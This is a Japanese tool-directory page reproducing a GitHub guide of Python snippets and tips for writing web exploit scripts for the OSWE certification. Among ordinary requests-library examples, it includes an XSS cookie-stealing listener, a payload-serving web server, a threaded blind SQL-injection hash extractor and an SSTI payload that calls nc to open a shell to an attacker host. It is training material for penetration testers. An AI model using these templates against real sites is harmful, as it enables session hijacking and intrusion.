Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/rizemon/exploit-writing-for-oswe
スクリプトと自動化ウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育厳選リソースペイロード開発
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

エクスプロイトスクリプトを(より速く!)書くためのヒント

リポジトリを見る
59111262年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

OSWEのためのエクスプロイト作成

背景

概要

このリポジトリには、OSWEのラボおよび認定試験でエクスプロイトスクリプトを作成する際に役立つ、便利なスニペットとヒントの一覧が含まれています。

ここに示す例の一部は、特定のコーディング慣行に反するかもしれませんが、最終的な目標はエクスプロイトスクリプトを迅速かつ正確に書くことです。

requestsライブラリの使用に慣れていない場合や、Pythonに不慣れな場合は、コードスニペットセクションが最適な出発点です。それ以外の場合は、再利用可能なコードセクションまたはヒントセクションに進んでください。

目的

  • この認定資格に関するwrite-ups(解説記事)、レビュー、ノートは数多く存在しますが、エクスプロイトの作成プロセスに特化したリソースはほとんどありません。
  • エクスプロイトスクリプトの作成は、特にPythonに不慣れな方や、コードを通じてWebアプリケーションとやり取りした経験がほとんどない方にとっては、気が遠くなる作業になり得ます。
  • 脆弱性の特定や試験レポートの作成にかかる時間は大きく変動する可能性がありますが、エクスプロイトスクリプトの開発にかかる時間は、しっかりと習得すれば最小化し、一定に保つことができます。

目次

  • OSWEのためのエクスプロイト作成
  • 背景
    • 概要
    • 目的
  • 目次
  • コードスニペット
    • 開始用テンプレート
    • 便利なインポート
    • requestsライブラリの使用
      • 最もシンプルなHTTPリクエストを送信する
      • 異なるHTTPメソッドを指定する
      • HTTPレスポンスを読み取る
      • URL内のクエリ文字列としてデータを送信する(params引数を使用)
      • ボディ内のクエリ文字列としてデータを送信する(data引数を使用)
      • ボディ内のJSONとしてデータを送信する(json引数を使用)
      • ボディ内でファイルを送信する(files引数を使用)
      • HTTPヘッダーを設定する(headers引数を使用)
      • HTTP Cookieを設定する(cookies引数を使用)
      • 3XXリダイレクトの追跡を無効にする(allow_redirects引数を使用)
      • 検証されていないHTTPSサーバーとやり取りする(verify引数を使用)
      • HTTPプロキシ経由でリクエストを送信する(proxies引数を使用)
      • Sessionを作成する
      • 永続的なCookieを設定する
      • 永続的なヘッダーを設定する
    • トラブルシューティング
      • Wiresharkを使用してHTTPリクエストでフィルタリングする
      • HTTPリクエストの内容を出力する
      • HTTPリクエストをBurp Suite経由でプロキシして検査する
    • 再利用可能なコード
      • HTTP経由でファイルを配信する
      • HTTP Cookieを盗む
      • SQLインジェクションを高速化する
  • ヒント
    • HTTPリクエストのたびにassertを使用して健全性チェックを実行する
    • 各ステップの後に意味のあるメッセージを出力する
    • 各エクスプロイトステップを独自の関数に分離する
    • 各関数呼び出しに明示的に渡す必要がないように、グローバルなSessionオブジェクトを作成する
    • グローバルなBASE_URL文字列を作成し、そこから必要なURLを構築する
    • proxies引数を使用せずにすべてのHTTPリクエストをBurp Suite経由で送信するには、実行時にHTTP_PROXY / HTTPS_PROXY環境変数を設定する
    • ペイロードを安全に送信するためにエンコード/デコード方式を適用する
    • ペイロード文字列にシングルクォート(')とダブルクォート(")の両方が含まれる場合は、"""を使用して作成する
    • マルチスレッドを使用してSQLインジェクションを高速化する
    • 認証済み機能のエクスプロイトを開発する際は、認証済みユーザーのCookieをハードコードする
    • ペイロードに波括弧({})が多すぎる場合は、f-strings(f"")やstr.formatの使用を避ける

  • コードスニペット

    開始用テンプレート

    root@kitploit:~
    import requests
    
    def main():
        print("Hello World!")
    
    if __name__ == __main__:
        main()
    

    便利なインポート

    root@kitploit:~
    # For sending HTTP requests
    import requests
    
    # For Base64 encoding/decoding
    from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode
    
    # For getting current time or for calculating time delays
    from time import time
    
    # For regular expressions
    import re
    
    # For running shell commands
    import subprocess
    
    # For multithreading
    from concurrent.futures import ThreadPoolExecutor
    
    # For running a HTTP server in the background
    import threading
    from http.server import HTTPServer, BaseHTTPRequestHandler
    
    # For parsing HTTP cookies
    from http import cookies
    
    # For getting command-line arguments
    import sys
    

    requestsライブラリの使用

    最もシンプルなHTTPリクエストを送信する

    root@kitploit:~
    resp_obj = requests.get("https://github.com")
    

    異なるHTTPメソッドを指定する

    root@kitploit:~
    # GET method
    requests.get("https://github.com")
    
    # POST method
    requests.post("https://github.com")
    
    # PUT method
    requests.put("https://github.com")
    
    # PATCH method
    requests.patch("https://github.com")
    
    # DELETE method
    requests.delete("https://github.com")
    

    HTTPレスポンスを読み取る

    root@kitploit:~
    resp_obj = requests.get("https://github.com")
    
    # HTTP status code (e.g 404, 500, 301)
    resp_obj.status_code
    
    # HTTP response headers (e.g Location, Content-Disposition)
    resp_obj.headers["Location"]
    
    # Body as bytes
    resp_obj.content
    
    # Body as a string
    resp_obj.text
    
    # Body as a dictionary (if body is a JSON)
    resp_obj.json()
    

    URL内のクエリ文字列としてデータを送信する(params引数を使用)

    root@kitploit:~
    params = {
        "foo": "bar"
    }
    
    requests.get("https://github.com", params=params)
    

    ボディ内のクエリ文字列としてデータを送信する(data引数を使用)

    root@kitploit:~
    data = {
        "foo": "bar"
    }
    
    requests.post("https://github.com", data=data)
    

    ボディ内のJSONとしてデータを送信する(json引数を使用)

    root@kitploit:~
    data = {
        "foo": "bar"
    }
    
    requests.post("https://github.com", json=data)
    

    ボディ内でファイルを送信する(files引数を使用)

    root@kitploit:~
    files = {
        #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
        "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
    }
    
    requests.post("https://github.com", files=files)
    

    HTTPヘッダーを設定する(headers引数を使用)

    root@kitploit:~
    headers = {
        "X-Forwarded-For": "127.0.0.1"
    }
    
    requests.get("https://github.com", headers=headers)
    

    HTTP Cookieを設定する(cookies引数を使用)

    root@kitploit:~
    cookies = {
        "PHPSESSID": "fakesession"
    }
    
    requests.get("https://github.com", cookies=cookies)
    

    3XXリダイレクトの追跡を無効にする(allow_redirects引数を使用)

    root@kitploit:~
    requests.post("https://github.com/login", allow_redirects=False)
    

    検証されていないHTTPSサーバーとやり取りする(verify引数を使用)

    root@kitploit:~
    # Supresses InsecureRequestWarning messages
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    requests.get("https://github.com", verify=False)
    

    HTTPプロキシ経由でリクエストを送信する(proxies引数を使用)

    root@kitploit:~
    proxies = {
        "HTTP": "http://127.0.0.1:8080",
        "HTTPS": "http://127.0.0.1:8080"
    }
    
    requests.get("https://github.com", proxies=proxies)
    

    Sessionを作成する

    root@kitploit:~
    session = requests.Session()
    session.get("https://github.com")
    

    永続的なCookieを設定する

    root@kitploit:~
    session = requests.Session()
    session.cookies.update({"PHPSESSID": "fakesession"})
    

    永続的なヘッダーを設定する

    root@kitploit:~
    session = requests.Session()
    session.headers["Authorization"] = "Basic 123"
    

    トラブルシューティング

    Wiresharkを使用してHTTPリクエストでフィルタリングする

    1. Wiresharkを開く
    2. VPNインターフェースを選択する(例:tun0)
    3. フィルターバーにhttpと入力する。

    HTTPリクエストの内容を出力する

    root@kitploit:~
    data = {
        "foo": "bar"
    }
    resp_obj = requests.post("https://github.com", data=data)
    prepared_request = resp_obj.request
    
    print("Method:\n", prepared_request.method)
    print()
    print("URL:\n", prepared_request.url)
    print()
    print("Headers:\n", prepared_request.headers)
    print()
    print("Body:\n", prepared_request.body)
    

    HTTPリクエストをBurp Suite経由でプロキシして検査する

    1. Burp Suiteを開く
    2. "Proxy"タブに移動し、"Intercept"を"On"に設定する。

    再利用可能なコード

    HTTP経由でファイルを配信する

    root@kitploit:~
    LHOST      = "10.0.0.1"
    WEB_PORT   = 8000
    JS_PAYLOAD = "<script>alert(1)</script>"
    
    def start_web_server():
        class MyHandler(BaseHTTPRequestHandler):
            # Uncomment this method to suppress HTTP logs
            # def log_message(self, format, *args):
            #     return
    
            def do_GET(self):
                if self.path.endswith('/payload.js'):
                    self.send_response(200)
                    self.send_header("Content-Type", "application/javascript")
                    self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                    self.end_headers()
                    self.wfile.write(JS_PAYLOAD.encode())
                
        httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
        threading.Thread(target=httpd.serve_forever).start()
    
    start_web_server()
    

    HTTP Cookieを盗む

    root@kitploit:~
    LHOST      = "10.0.0.1"
    WEB_PORT   = 8000
    
    requests = requests.Session()
    xss_event = threading.Event() # Signifies when victim sends their cookie
    
    def send_xss_payload():
        pass
    
    def start_web_server():
        class MyHandler(BaseHTTPRequestHandler):
    
            def do_GET(self):
                self.send_response(200)
                self.end_headers()
    
                # Load stolen cookie into session
                _, enc_cookie = self.path.split("/?cookie=", 1)
                plain_cookie = urlsafe_b64decode(enc_cookie).decode()
                session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]
    
                xss_event.set() # Trigger the event
                
        httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
        threading.Thread(target=httpd.serve_forever).start()
    
    start_web_server()
    send_xss_payload()
    xss_event.wait() # Wait for event to be triggered
    print("[+] Stolen cookie:", session.cookies["PHPSESSID"])
    

    SQLインジェクションを高速化する

    root@kitploit:~
    MAX_WORKERS = 20
    HASH_LENGTH = 32
    
    def exfiltrate_hash():
    
        def boolean_sqli(arguments):
            idx, ascii_val = arguments
            # ...
            # Perform SQLi and store boolean outcome into truth
            # ...
            return ascii_val, truth
    
        result = ""
    
        # Go through each character position
        for idx in range(HASH_LENGTH):
    
            # Use MAX_WORKERS threads to test possible ASCII values in parallel
            with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
                # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
                responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])
    
            # Go through each response and determine which ASCII value is correct
            for ascii_val, truth in responses:
                if truth:
                    result += chr(ascii_val)
                    break
        
        return result
    
    hash = exfiltrate_hash()
    

    ヒント

    HTTPリクエストのたびにassertを使用して健全性チェックを実行する

    • ウェブシェルをトリガーしようとする前に、実際にアップロードされたかどうかを確認する
    • 認証済み機能をエクスプロイトする前に、認証が成功したかどうかを確認する

    例:

    root@kitploit:~
    # Suppose 302 is returned if successful login
    resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
    assert resp_obj.status_code == 302, "Login not successful"
    
    # Suppose admin page is returned if successful login
    resp_obj = requests.post("http://example.com/login", data=data)
    assert "Admin Dashboard" in resp_obj.content, "Login not successful"
    

    各ステップの後に意味のあるメッセージを出力する

    • 開始または完了したアクション、または
    • 取得されたCookie/トークン/ファイル/値

    例:

    root@kitploit:~
    [+] Parsed command-line arguments and got:
      * BASE_URL: http://example.com
      * LHOST:    127.0.0.1
      * LPORT:    1337
    [+] Triggered password reset token generation
    [=] Getting password reset token length...
    [+] Got password reset token length: 10
    [=] Retrieving password reset token...
    [+] Got password reset token: FAKE_TOKEN
    

    各エクスプロイトステップを独自の関数に分離する

    例:

    root@kitploit:~
    def register():
        pass
    
    def login():
        pass
    
    def rce():
        pass
    

    各関数呼び出しに明示的に渡す必要がないように、グローバルなSessionオブジェクトを作成する

    root@kitploit:~
    session = requests.Session()
    
    def login():
        session.post(...)
    
    def rce():
        session.post(...)
    

    グローバルなBASE_URL文字列を作成し、そこから必要なURLを構築する

    root@kitploit:~
    BASE_URL = ""
    session = requests.Session()
    
    def login():
        url = BASE_URL + "/login"
        session.post(url, ...)
    
    def rce():
        url = BASE_URL + "/rce"
        session.post(url, ...)
    
    def main():
        # Allow BASE_URL to be modified
        global BASE_URL
        BASE_URL = sys.argv[1]
    ...
    

    proxies引数を使用せずにすべてのHTTPリクエストをBurp Suite経由で送信するには、実行時にHTTP_PROXY / HTTPS_PROXY環境変数を設定する

    root@kitploit:~
    $ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py
    

    ペイロードを安全に送信するためにエンコード/デコード方式を適用する

    • Base64
    • 16進数

    ペイロード文字列にシングルクォート(')とダブルクォート(")の両方が含まれる場合は、"""を使用して作成する

    例:

    root@kitploit:~
    payload = """This is a '. This is a "."""
    

    マルチスレッドを使用してSQLインジェクションを高速化する

    SQLインジェクションの高速化を参照してください。

    認証済み機能のエクスプロイトを開発する際は、認証済みユーザーのCookieをハードコードする

    特に、認証済みセッションを取得するために、時間のかかるステップを多数実行する必要があった場合に有効です。

    例:

    root@kitploit:~
    session = requests.Session()
    
    def main():
        # Skipping these for now...
        # register()
        # login()
    
        # TODO: Delete this line after you are
        # done developing and uncomment the above steps!
        session.cookies["JSESSIONID"] = "ADMIN_COOKIE"
    
        # Exploit authenticated features...
    ...
    

    ペイロードに波括弧({})が多すぎる場合は、f-strings(f"")やstr.formatの使用を避ける

    エスケープするためだけに各波括弧を二重にするのは面倒で、エラーが発生しやすくなります。代わりに単純なプレースホルダーを使用して、.replace()を実行しましょう!

    例:

    root@kitploit:~
    # Too many curly braces
    ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
    # Much easier to read
    ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
        .replace("<LHOST>", LHOST)\
        .replace("<LPORT>", LPORT)
    
    ツールをダウンロード